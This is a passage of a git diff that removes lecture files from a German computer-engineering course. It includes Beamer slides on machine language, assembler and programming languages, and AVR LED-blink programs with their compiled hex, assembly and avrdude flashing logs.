Register-Speicherbefehl:\\ - "`Speichere den Status-Ausgang der ALU in Speicherzelle 137."' - \pause - \item - Sprungbefehl:\\ - "`Lade den Inhalt der Speicherzelle 1117\\ - in das Adressregister für den nächsten Befehl."' - \pause - \item - Bedingter Sprungbefehl:\\ - "`Wenn das \Cout-Bit der ALU den Wert 1 hat,\\ - springe nach Speicherzelle 23."' - \end{itemize} - \vspace*{-10cm} - \end{onlyenv} - \pause - \item - Peripherie: Kommunikation mit der Außenwelt - \begin{onlyenv}<9> - \begin{itemize}\itemsep\smallskipamount - \item - Output-Port:\\ - Ausgang einer Speicherzelle nach draußen führen - \item - Input-Port:\\ - Anstelle einer Speicherzelle einen eingehenden Draht abfragen - \end{itemize} - \vspace*{-10cm} - \end{onlyenv} - \pause - \arrowitem - in Maschinensprache programmierbar - \end{itemize} - -\end{frame} - -% Fortsetzung: 20141016 - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \color{medgreen} - \item[2.5] Vom Addierer zum Computer - \color{red} - \item[2.6] Computer-Sprachen - \item[2.7] Struktur von Assembler-Programmen - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\subsection{Computer-Sprachen} -\subsubsection{Maschinensprache} - -\begin{frame} - - \showsubsection - \showsubsubsection - - \strut\hfill - \begin{minipage}{6.5cm} - \vspace*{-1.7cm} - \small - Computer - \begin{itemize}\itemsep0pt - \item Rechenwerk (ALU) - \item Speicher: Register,\\ - adressierbarer Hauptspeicher - \item Takt: Befehle abarbeiten - \item Peripherie: Kommunikation\\ - mit der Außenwelt - \arrowitem in Maschinensprache programmierbar - \end{itemize} - \end{minipage}\hspace*{-0.5cm} - - In jedem Takt: - \begin{itemize} - \item - dort aus dem Hauptspeicher lesen, wohin das Register \lstinline{IP} zeigt\\ - \textarrow\ \newterm{Befehl\/} (\newterm{Instruction\/} -- \lstinline{IP} = \newterm{Instruction Pointer\/}) - \item - den \newterm{Befehl\/} an den \newterm{Funktion\/}-Eingang der \newterm{ALU\/} legen - \item - auf ähnliche Weise weitere Daten an den \newterm{Akkumulator\/}-\\ - und den \newterm{Daten\/}-Eingang der \newterm{ALU\/} legen - \item - auf ähnliche Weise den \newterm{Ergebnis\/}-Ausgang der \newterm{ALU}\\ - in den Hauptspeicher schreiben - \textarrow\ Befehl ausgeführt - \item - Register \lstinline{IP} hochzählen - \textarrow\ nächster Befehl - \arrowitem - Maschinensprache - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - \showsubsubsection - - \begin{itemize} - \item - Daten aus dem Speicher in Register einlesen - \item - Daten aus Register in den Speicher schreiben - \arrowitem - Lade- und Speicher-Befehle - \item - Daten aus Registern (oder Speicher) an ALU legen,\\ - Ergebnis in Register (oder Speicher) schreiben - \arrowitem - arithmetische Befehle - \pause - \item - Daten aus Register oder Speicher in das \lstinline{IP}-Register laden - \arrowitem - \only<4->{unbedingter }Sprungbefehl - \pause - \item - Sprungbefehl nur dann, wenn im Status-Ausgang der ALU ein bestimmtes Bit gesetzt ist - \arrowitem - bedingter Sprungbefehl - \pause - \pause - \bigskip - \arrowitem - Der Computer kann "`alles"' -- \newterm{Turing-Vollständigkeit} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - \showsubsubsection - - \begin{itemize} - \item - Lade- und Speicher-Befehle\\ - arithmetische Befehle\\ - unbedingte und bedingte Sprungbefehle - \arrowitem - Der Computer kann "`alles"' -- \newterm{Turing-Vollständigkeit} - \bigskip - \item - Maschinensprache = Zahlen \textarrow\ für Menschen schwer handhabbar - \arrowitem - Namen für die Befehle: \newterm{Mnemonics} - \arrowitem - \newterm{Assembler\/}-Sprache - \end{itemize} - -\end{frame} - -\subsubsection{\strut{\protect\color{gray}Maschinensprache \protect\textarrow\ }Assembler} - -\begin{frame}[fragile] - - \showsubsubsection - - Beispiel: Intel-x86-16-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{mov}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{inc}, \lstinline{dec}, - \lstinline{xor}, \lstinline{cmp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{jmp}, \lstinline{jz}, \lstinline{jae}, \dots - \item - Register\hfill - \lstinline{ax}, \lstinline{bx}, \dots - \end{itemize} - - \begin{onlyenv}<1> - \begin{center} - \includegraphics[width=10cm]{programm-screenshot.png} - \vspace*{-0.5cm} - \end{center} - \end{onlyenv} - \begin{onlyenv}<2-> - - \bigskip - - Beispiel: Atmel-AVR-8-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{ldi}, \lstinline{lds}, \lstinline{sti}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{subi}, - \lstinline{eor}, \lstinline{cp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{rjmp}, \lstinline{brsh}, \lstinline{brlo}, \dots - \item - Register\hfill - \lstinline{r0}, \lstinline{r1}, \dots - \end{itemize} - - \bigskip - - \textarrow\ für jeden Prozessor anders - - \end{onlyenv} - -\end{frame} - -\subsubsection{\strut{\protect\color{gray}Maschinensprache \protect\textarrow\ Assembler \protect\textarrow\ }Hochsprachen} - -\begin{frame}[fragile] - - \showsubsubsection - - Beispiel: Intel-x86-16-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{mov}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{inc}, \lstinline{dec}, - \lstinline{xor}, \lstinline{cmp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{jmp}, \lstinline{jz}, \lstinline{jae}, \dots - \item - Register\hfill - \lstinline{ax}, \lstinline{bx}, \dots - \end{itemize} - - \bigskip - - Beispiel: Atmel-AVR-8-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{ldi}, \lstinline{lds}, \lstinline{sti}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{subi}, - \lstinline{eor}, \lstinline{cp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{rjmp}, \lstinline{brsh}, \lstinline{brlo}, \dots - \item - Register\hfill - \lstinline{r0}, \lstinline{r1}, \dots - \end{itemize} - - \bigskip - - \textarrow\ für jeden Prozessor anders - - \bigskip - - Hochsprache \textarrow\ für jeden Prozessor gleich - -\end{frame} - -\begin{frame}[fragile] - - \showsubsubsection - - Compiler-Sprachen - \begin{itemize} - \item - \newterm{Compiler\/} übersetzt Hochsprachen-\newterm{Quelltext\/} in die Assembler-Sprache - \item - \newterm{Assembler\/} übersetzt Assembler-Quelltext in die Maschinensprache - \item - Compiler und Assembler sind Programme,\\ - geschrieben in Maschinensprache, Assembler oder einer Hochsprache - \item - Beispiele: Fortran, Algol, Pascal, Ada, C, C++, \dots - \end{itemize} - - \pause - \medskip - Interpreter- oder Skript-Sprachen - \begin{itemize} - \item - \newterm{Interpreter\/} liest Hochsprachen-\newterm{Quelltext\/} und führt ihn sofort aus - \item - Der Interpreter ist ein Programm,\\ - geschrieben in Maschinensprache, Assembler oder einer Hochsprache - \item - Beispiele: Unix-Shell, BASIC, Perl, Python, \dots - \end{itemize} - - \pause - \medskip - Kombinationen - \begin{itemize} - \item - \newterm{Compiler\/} erzeugt \newterm{Zwischencode\/} für eine \newterm{virtuelle Maschine} - \item - \newterm{Interpreter\/} liest Hochsprachen-\newterm{Zwischencode\/} und führt ihn sofort aus - \item - Die virtuelle Maschine ist ein Programm, - geschrieben in Maschinensprache, Assembler, einer Hoch- oder Skript-Sprache - \item - Beispiele: UCSD-Pascal, Java, \dots - \end{itemize} - \medskip - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \color{medgreen} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[2.6] Computer-Sprachen - \color{black} - \item[2.7] Struktur von Assembler-Programmen - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20210503/schwingquarz-geoeffnet.jpg b/20210503/schwingquarz-geoeffnet.jpg deleted file mode 120000 index 10b4f1548e27255f53eafdca46f527c1fa865684..0000000000000000000000000000000000000000 --- a/20210503/schwingquarz-geoeffnet.jpg +++ /dev/null @@ -1 +0,0 @@ -../20210427/schwingquarz-geoeffnet.jpg \ No newline at end of file diff --git a/20210503/schwingquarz.jpg b/20210503/schwingquarz.jpg deleted file mode 120000 index 292f8429ca147d9855292b161aa3922508dd6d9c..0000000000000000000000000000000000000000 --- a/20210503/schwingquarz.jpg +++ /dev/null @@ -1 +0,0 @@ -../20210427/schwingquarz.jpg \ No newline at end of file diff --git a/20210503/screenshot-20210503-165022.png b/20210503/screenshot-20210503-165022.png deleted file mode 100644 index 519a00b465a3e309f0d94c6adef6b0b2d113fc91..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-165022.png and /dev/null differ diff --git a/20210503/screenshot-20210503-165121.png b/20210503/screenshot-20210503-165121.png deleted file mode 100644 index 829aecddf53751cf48b28e3339805ae20772bead..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-165121.png and /dev/null differ diff --git a/20210503/screenshot-20210503-170128.png b/20210503/screenshot-20210503-170128.png deleted file mode 100644 index cdb3ecccb6ada7d55de4553044a15816683677f8..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-170128.png and /dev/null differ diff --git a/20210503/screenshot-20210503-170220.png b/20210503/screenshot-20210503-170220.png deleted file mode 100644 index 0bec036495c6acf9af7b739d9e5660c203cd1992..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-170220.png and /dev/null differ diff --git a/20210503/screenshot-20210503-171448.png b/20210503/screenshot-20210503-171448.png deleted file mode 100644 index 92f60389fb06fec107fc079f7d77075f4448f593..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-171448.png and /dev/null differ diff --git a/20210503/screenshot-20210503-171704.png b/20210503/screenshot-20210503-171704.png deleted file mode 100644 index 1a50cd86ceb49a8cef30d03df51243305c3019b0..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-171704.png and /dev/null differ diff --git a/20210503/screenshot-20210503-171921.png b/20210503/screenshot-20210503-171921.png deleted file mode 100644 index a450cc3128c2c7bbe66d41b0e52ff1f17afab200..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-171921.png and /dev/null differ diff --git a/20210503/screenshot-20210503-172056.png b/20210503/screenshot-20210503-172056.png deleted file mode 100644 index e975d73e170149def578ea4f77dcf1d3cadcc338..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-172056.png and /dev/null differ diff --git a/20210503/screenshot-20210503-172325.png b/20210503/screenshot-20210503-172325.png deleted file mode 100644 index f9a981a2ff126a82392ca00998bec05abbda1fac..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-172325.png and /dev/null differ diff --git a/20210503/screenshot-20210503-172955.png b/20210503/screenshot-20210503-172955.png deleted file mode 100644 index bf7ced138eb2c68960328cf9ce3205cca50a681f..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-172955.png and /dev/null differ diff --git a/20210503/screenshot-20210503-175111.png b/20210503/screenshot-20210503-175111.png deleted file mode 100644 index c05893cc598bb854e97cdbbb25a411f15902ce8d..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-175111.png and /dev/null differ diff --git a/20210503/screenshot-20210503-175212.png b/20210503/screenshot-20210503-175212.png deleted file mode 100644 index 624d7ad85d124102f5163c75fd14592c61025dda..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-175212.png and /dev/null differ diff --git a/20210503/screenshot-20210503-175556.png b/20210503/screenshot-20210503-175556.png deleted file mode 100644 index afe17381d829d184be24882e28d1e8bf1ef5e774..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-175556.png and /dev/null differ diff --git a/20210503/screenshot-20210503-175628.png b/20210503/screenshot-20210503-175628.png deleted file mode 100644 index 583cc8716b6c7a750910d9e1721ad3d26bf9777a..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-175628.png and /dev/null differ diff --git a/20210503/screenshot-20210503-180214.png b/20210503/screenshot-20210503-180214.png deleted file mode 100644 index a56a13cd19e4eae64f9c27a75b7e7cadfc6a9f1d..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-180214.png and /dev/null differ diff --git a/20210503/screenshot-20210503-180832.png b/20210503/screenshot-20210503-180832.png deleted file mode 100644 index 5a9886f66647d4f0ded5562c917563ef981ddb58..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-180832.png and /dev/null differ diff --git a/20210503/screenshot-20210503-180853.png b/20210503/screenshot-20210503-180853.png deleted file mode 100644 index cea4ac8c4afc6d1538293ca34e6340377630c860..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-180853.png and /dev/null differ diff --git a/20210503/screenshot-20210503-181001.png b/20210503/screenshot-20210503-181001.png deleted file mode 100644 index e7b43c893cf5c30f7ddbde5220e1f189da313749..0000000000000000000000000000000000000000 Binary files a/20210503/screenshot-20210503-181001.png and /dev/null differ diff --git a/20210503/speicheradressierung-3.png b/20210503/speicheradressierung-3.png deleted file mode 120000 index 0ecd0f0537c7d1d356b7385ebbb30366f3cf2286..0000000000000000000000000000000000000000 --- a/20210503/speicheradressierung-3.png +++ /dev/null @@ -1 +0,0 @@ -../20210427/speicheradressierung-3.png \ No newline at end of file diff --git a/20210503/takt-zaehler-4.png b/20210503/takt-zaehler-4.png deleted file mode 120000 index c8cd30569053bc7ff3c833c6d4a832919e870891..0000000000000000000000000000000000000000 --- a/20210503/takt-zaehler-4.png +++ /dev/null @@ -1 +0,0 @@ -../20210427/takt-zaehler-4.png \ No newline at end of file diff --git a/20210504/blink-0.c b/20210504/blink-0.c deleted file mode 100644 index e477a88f50d4aa8b5ce4b60a039a83f347ff2bc0..0000000000000000000000000000000000000000 --- a/20210504/blink-0.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <avr/io.h> - -int main (void) -{ - DDRD = 0x7c; /* binär: 0111 1100 */ /* DDR = Data Direction Register */ - PORTD = 0x40; /* binär: 0100 0000 */ /* 0 = input, 1 = output */ - while (1) - /* just wait */; /* Endlosschleife */ - return 0; -} diff --git a/20210504/blink-0.hex b/20210504/blink-0.hex deleted file mode 100644 index 4a3ecbb32f186d6c742777b223473148e1cef0a4..0000000000000000000000000000000000000000 --- a/20210504/blink-0.hex +++ /dev/null @@ -1,10 +0,0 @@ -:100000000C9434000C943E000C943E000C943E0082 -:100010000C943E000C943E000C943E000C943E0068 -:100020000C943E000C943E000C943E000C943E0058 -:100030000C943E000C943E000C943E000C943E0048 -:100040000C943E000C943E000C943E000C943E0038 -:100050000C943E000C943E000C943E000C943E0028 -:100060000C943E000C943E0011241FBECFEFD8E04C -:10007000DEBFCDBF0E9440000C9445000C940000F0 -:0E0080008CE78AB980E48BB9FFCFF894FFCFEC -:00000001FF diff --git a/20210504/blink-0.s b/20210504/blink-0.s deleted file mode 100644 index edc08e919af02612d8250224f5ad0ec61faf12ed..0000000000000000000000000000000000000000 --- a/20210504/blink-0.s +++ /dev/null @@ -1,22 +0,0 @@ - .file "blink-0.c" -__SP_H__ = 0x3e -__SP_L__ = 0x3d -__SREG__ = 0x3f -__tmp_reg__ = 0 -__zero_reg__ = 1 - .section .text.startup,"ax",@progbits -.global main - .type main, @function -main: -/* prologue: function */ -/* frame size = 0 */ -/* stack size = 0 */ -.L__stack_usage = 0 - ldi r24,lo8(124) - out 0xa,r24 - ldi r24,lo8(64) - out 0xb,r24 -.L2: - rjmp .L2 - .size main, .-main - .ident "GCC: (GNU) 5.4.0" diff --git a/20210504/blink-0.txt b/20210504/blink-0.txt deleted file mode 100644 index 8f47b77416760753dc47fdc9972ae8329118ff49..0000000000000000000000000000000000000000 --- a/20210504/blink-0.txt +++ /dev/null @@ -1,62 +0,0 @@ -cassini/home/peter/bo/2021ss/rtech/20210504> cat blink-0.c -#include <avr/io.h> - -int main (void) -{ - DDRD = 0x7c; /* binär: 0111 1100 */ /* DDR = Data Direction Register */ - PORTD = 0x40; /* binär: 0100 0000 */ /* 0 = input, 1 = output */ - while (1) - /* just wait */; /* Endlosschleife */ - return 0; -} -cassini/home/peter/bo/2021ss/rtech/20210504> avr-gcc -Wall -Os -mmcu=atmega328p blink-0.c -o blink-0.elf -cassini/home/peter/bo/2021ss/rtech/20210504> ls -l blink-0.elf --rwxr-xr-x 1 peter peter 6360 Mai 4 11:43 blink-0.elf -cassini/home/peter/bo/2021ss/rtech/20210504> avr-objcopy -O ihex blink-0.elf blink-0.hex -cassini/home/peter/bo/2021ss/rtech/20210504> ls -l blink-0.hex --rw-r--r-- 1 peter peter 414 Mai 4 11:45 blink-0.hex -cassini/home/peter/bo/2021ss/rtech/20210504> cat blink-0.hex -:100000000C9434000C943E000C943E000C943E0082 -:100010000C943E000C943E000C943E000C943E0068 -:100020000C943E000C943E000C943E000C943E0058 -:100030000C943E000C943E000C943E000C943E0048 -:100040000C943E000C943E000C943E000C943E0038 -:100050000C943E000C943E000C943E000C943E0028 -:100060000C943E000C943E0011241FBECFEFD8E04C -:10007000DEBFCDBF0E9440000C9445000C940000F0 -:0E0080008CE78AB980E48BB9FFCFF894FFCFEC -:00000001FF -cassini/home/peter/bo/2021ss/rtech/20210504> -cassini/home/peter/bo/2021ss/rtech/20210504> avrdude -P /dev/ttyACM0 -c arduino -p m328p -U flash:w:blink-0.hex - -avrdude: AVR device initialized and ready to accept instructions - -Reading | ################################################## | 100% 0.00s - -avrdude: Device signature = 0x1e950f (probably m328p) -avrdude: NOTE: "flash" memory has been specified, an erase cycle will be performed - To disable this feature, specify the -D option. -avrdude: erasing chip -avrdude: reading input file "blink-0.hex" -avrdude: input file blink-0.hex auto detected as Intel Hex -avrdude: writing flash (142 bytes): - -Writing | ################################################## | 100% 0.04s - -avrdude: 142 bytes of flash written -avrdude: verifying flash memory against blink-0.hex: -avrdude: load data flash data from input file blink-0.hex: -avrdude: input file blink-0.hex auto detected as Intel Hex -avrdude: input file blink-0.hex contains 142 bytes -avrdude: reading on-chip flash data: - -Reading | ################################################## | 100% 0.03s - -avrdude: verifying ... -avrdude: 142 bytes of flash verified - -avrdude: safemode: Fuses OK (E:00, H:00, L:00) - -avrdude done. Thank you. - -cassini/home/peter/bo/2021ss/rtech/20210504> diff --git a/20210504/blink-1.c b/20210504/blink-1.c deleted file mode 100644 index f756a2cc040d8c2804b51942b63198894be944b8..0000000000000000000000000000000000000000 --- a/20210504/blink-1.c +++ /dev/null @@ -1,18 +0,0 @@ -#include <avr/io.h> - -#define F_CPU 16000000l -#include <util/delay.h> - -int main (void) -{ - DDRD = 0x7c; - PORTD |= 0x40; /* binär: 0100 0000 */ - while (1) - { - _delay_ms (500); - PORTD &= ~0x40; /* binär: 1011 1111 */ - _delay_ms (500); - PORTD |= 0x40; /* binär: 0100 0000 */ - } - return 0; -} diff --git a/20210504/blink-1.hex b/20210504/blink-1.hex deleted file mode 100644 index db23e7e78ad37005c50c4f7dbe24691acf9b54a8..0000000000000000000000000000000000000000 --- a/20210504/blink-1.hex +++ /dev/null @@ -1,13 +0,0 @@ -:100000000C9434000C943E000C943E000C943E0082 -:100010000C943E000C943E000C943E000C943E0068 -:100020000C943E000C943E000C943E000C943E0058 -:100030000C943E000C943E000C943E000C943E0048 -:100040000C943E000C943E000C943E000C943E0038 -:100050000C943E000C943E000C943E000C943E0028 -:100060000C943E000C943E0011241FBECFEFD8E04C -:10007000DEBFCDBF0E9440000C9457000C940000DE -:100080008CE78AB95E9A2FEF89E698E1215080408B -:100090009040E1F700C000005E982FEF89E698E1FC -:1000A000215080409040E1F700C00000EBCFF89471 -:0200B000FFCF80 -:00000001FF diff --git a/20210504/blink-1.ino b/20210504/blink-1.ino deleted file mode 100644 index 5a3c7a9265984e191f9b897616d95b19caf56309..0000000000000000000000000000000000000000 --- a/20210504/blink-1.ino +++ /dev/null @@ -1,36 +0,0 @@ -/* - Blink - Turns on an LED on for one second, then off for one second, repeatedly. - - Most Arduinos have an on-board LED you can control. On the UNO, MEGA and ZERO - it is attached to digital pin 13, on MKR1000 on pin 6. LED_BUILTIN is set to - the correct LED pin independent of which board is used. - If you want to know what pin the on-board LED is connected to on your Arduino model, check - the Technical Specs of your board at https://www.arduino.cc/en/Main/Products - - This example code is in the public domain. - - modified 8 May 2014 - by Scott Fitzgerald - - modified 2 Sep 2016 - by Arturo Guadalupi - - modified 8 Sep 2016 - by Colby Newman -*/ - - -// the setup function runs once when you press reset or power the board -void setup() { - // initialize digital pin LED_BUILTIN as an output. - pinMode(LED_BUILTIN, OUTPUT); -} - -// the loop function runs over and over again forever -void loop() { - digitalWrite(LED_BUILTIN, HIGH); // turn the LED on (HIGH is the voltage level) - delay(1000); // wait for a second - digitalWrite(LED_BUILTIN, LOW); // turn the LED off by making the voltage LOW - delay(1000); // wait for a second -} diff --git a/20210504/blink-1.s b/20210504/blink-1.s deleted file mode 100644 index 1352b6152378f88d5c230e8cea594502bef81490..0000000000000000000000000000000000000000 --- a/20210504/blink-1.s +++ /dev/null @@ -1,40 +0,0 @@ - .file "blink-1.c" -__SP_H__ = 0x3e -__SP_L__ = 0x3d -__SREG__ = 0x3f -__tmp_reg__ = 0 -__zero_reg__ = 1 - .section .text.startup,"ax",@progbits -.global main - .type main, @function -main: -/* prologue: function */ -/* frame size = 0 */ -/* stack size = 0 */ -.L__stack_usage = 0 - ldi r24,lo8(124) - out 0xa,r24 -.L3: - sbi 0xb,6 - ldi r18,lo8(1599999) # #include <avr/io.h> - ldi r24,hi8(1599999) # - ldi r25,hlo8(1599999) # #define F_CPU 16000000l -1: subi r18,1 # #include <util/delay.h> - sbci r24,0 # - sbci r25,0 # int main (void) - brne 1b # { - rjmp . # DDRD = 0x7c; - nop # PORTD |= 0x40; /* binär: 0100 0000 */ - cbi 0xb,6 # while (1) - ldi r18,lo8(1599999) # { - ldi r24,hi8(1599999) # _delay_ms (500); - ldi r25,hlo8(1599999) # PORTD &= ~0x40; /* binär: 1011 1111 */ -1: subi r18,1 # _delay_ms (500); - sbci r24,0 # PORTD |= 0x40; /* binär: 0100 0000 */ - sbci r25,0 # } - brne 1b # return 0; - rjmp . # } - nop - rjmp .L3 - .size main, .-main - .ident "GCC: (GNU) 5.4.0" diff --git a/20210504/blink-1.txt b/20210504/blink-1.txt deleted file mode 100644 index 2f109be341f646421609219771b40d17bf14a940..0000000000000000000000000000000000000000 --- a/20210504/blink-1.txt +++ /dev/null @@ -1,73 +0,0 @@ -"blink-1.c" 18L, 322C geschrieben - -#include <avr/io.h> - -#define F_CPU 16000000l -#include <util/delay.h> - -int main (void) -{ - DDRD = 0x7c; - PORTD |= 0x40; /* binär: 0100 0000 */ - while (1) - { - _delay_ms (500); - PORTD &= ~0x40; /* binär: 1011 1111 */ - _delay_ms (500); - PORTD |= 0x40; /* binär: 0100 0000 */ - } - return 0; -} -cassini/home/peter/bo/2021ss/rtech/20210504> avr-gcc -Wall -Os -mmcu=atmega328p blink-1.c -o blink-1.elf -cassini/home/peter/bo/2021ss/rtech/20210504> ls -l blink-1.elf --rwxr-xr-x 1 peter peter 6396 Mai 4 11:55 blink-1.elf -cassini/home/peter/bo/2021ss/rtech/20210504> avr-objcopy -O ihex blink-1.elf blink-1.hex -cassini/home/peter/bo/2021ss/rtech/20210504> ls -l blink-1.hex --rw-r--r-- 1 peter peter 525 Mai 4 11:56 blink-1.hex -cassini/home/peter/bo/2021ss/rtech/20210504> cat blink-1.hex -:100000000C9434000C943E000C943E000C943E0082 -:100010000C943E000C943E000C943E000C943E0068 -:100020000C943E000C943E000C943E000C943E0058 -:100030000C943E000C943E000C943E000C943E0048 -:100040000C943E000C943E000C943E000C943E0038 -:100050000C943E000C943E000C943E000C943E0028 -:100060000C943E000C943E0011241FBECFEFD8E04C -:10007000DEBFCDBF0E9440000C9457000C940000DE -:100080008CE78AB95E9A2FEF89E698E1215080408B -:100090009040E1F700C000005E982FEF89E698E1FC -:1000A000215080409040E1F700C00000EBCFF89471 -:0200B000FFCF80 -:00000001FF -cassini/home/peter/bo/2021ss/rtech/20210504> avrdude -P /dev/ttyACM0 -c arduino -p m328p -U flash:w:blink-1.hex - -avrdude: AVR device initialized and ready to accept instructions - -Reading | ################################################## | 100% 0.00s - -avrdude: Device signature = 0x1e950f (probably m328p) -avrdude: NOTE: "flash" memory has been specified, an erase cycle will be performed - To disable this feature, specify the -D option. -avrdude: erasing chip -avrdude: reading input file "blink-1.hex" -avrdude: input file blink-1.hex auto detected as Intel Hex -avrdude: writing flash (178 bytes): - -Writing | ################################################## | 100% 0.04s - -avrdude: 178 bytes of flash written -avrdude: verifying flash memory against blink-1.hex: -avrdude: load data flash data from input file blink-1.hex: -avrdude: input file blink-1.hex auto detected as Intel Hex -avrdude: input file blink-1.hex contains 178 bytes -avrdude: reading on-chip flash data: - -Reading | ################################################## | 100% 0.03s - -avrdude: verifying ... -avrdude: 178 bytes of flash verified - -avrdude: safemode: Fuses OK (E:00, H:00, L:00) - -avrdude done. Thank you. - -cassini/home/peter/bo/2021ss/rtech/20210504> diff --git a/20210504/hello-world-maschinensprache.png b/20210504/hello-world-maschinensprache.png deleted file mode 120000 index a5b14fe44b350c69b8d59d2c59f7c923f4631825..0000000000000000000000000000000000000000 --- a/20210504/hello-world-maschinensprache.png +++ /dev/null @@ -1 +0,0 @@ -../20210503/screenshot-20210503-181001.png \ No newline at end of file diff --git a/20210504/logo-hochschule-bochum-cvh-text-v2.pdf b/20210504/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210504/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210504/logo-hochschule-bochum.pdf b/20210504/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210504/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210504/pgslides.sty b/20210504/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210504/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20210504/rtech-20210504.pdf b/20210504/rtech-20210504.pdf deleted file mode 100644 index 843b6b335e6c584d352d3aebeb2da934ba222463..0000000000000000000000000000000000000000 Binary files a/20210504/rtech-20210504.pdf and /dev/null differ diff --git a/20210504/rtech-20210504.tex b/20210504/rtech-20210504.tex deleted file mode 100644 index 72180c8c92dbd37745f133c425d267a92bdf36f7..0000000000000000000000000000000000000000 --- a/20210504/rtech-20210504.tex +++ /dev/null @@ -1,414 +0,0 @@ -% rtech-20210504.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Computer-Sprachen, Programmieren in Assembler: PC - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{pdftricks} - -\newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} 